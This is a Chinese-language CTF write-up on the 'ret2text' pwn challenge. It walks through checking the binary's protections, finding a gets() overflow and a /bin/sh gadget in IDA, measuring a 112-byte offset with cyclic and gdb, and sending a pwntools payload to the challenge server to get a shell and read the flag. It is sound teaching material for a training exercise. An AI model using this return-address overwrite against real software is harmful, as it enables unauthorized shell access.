【Pwn】利用cyclic黑盒测试ret2text
✨
AI总结摘要
这篇文章是关于如何使用pwn ret2text技术解决一个CTF挑战的问题。文章首先介绍了下载并准备文件的过程,然后分析了文件的保护机制,发现这是一个栈溢出漏洞。接着,文章详细描述了如何使用IDA Pro分析文件并找到可以利用的漏洞点。然后,文章介绍了如何找到需要返回的地址和偏移量,并使用了Python脚本进行攻击。最后,文章描述了如何运行脚本,获取终端连接,并成功获取flag的过程。总的来说,这篇文章详细介绍了在CTF挑战中如何利用pwn ret2text技术来利用栈溢出漏洞,从而获取目标系统的控制权。
AI Model: Baidu-ERNIE
Update At: 2024-10-23 20:14:03
pwn ret2text
题目链接:ret2text
参考博客:CTF Wiki 基本 ROP
参考视频:【CTF】Linux PWN入门 Bamboofox社课系列
0x01
下载ret2text文件,复制到 翔哥的van美pwn机 中
查看保护机制 
Arch: i386-32-little //文件为32位程序
RELRO: Partial RELRO
Stack: No canary found //未开启canary保护
NX: NX enabled //开启了栈不可执行保护
PIE: No PIE (0x8048000) //未开启地址无关可执行
0x02
查看到文件为32位,拖入32位IDA中 找到main函数
发现有gets,那么肯定有栈溢出漏洞。
继续查找文件,发现secure,其中有/bin/sh 
按shift后再按空格找到secure的地址
这个地址中的任意一个就行了 先写一部分脚本
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = + p32(success_addr)
io.sendline(payload)
io.interactive()
0x03
找到需要返回的地址后,我们要寻找偏移量了。
使用cyclic生成字符队列 使用gdb工具,打开ret2text run运行 输入刚刚生成的字符串 
找到invalid address 0x62616164

使用cyclic -l 计算字符串偏移量 发现偏移了112位 
0x04
找到偏移量和返回的地址直接写脚本
from pwn import *
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = 'a' * 112 + p32(success_addr)
io.sendline(payload)
io.interactive()
打开终端运行脚本
成功连接
使用ls查看目录
发现flag
直接cat flag
拿下! 
Thanks for reading :: Enf of this article :: Read other posts
Comment Below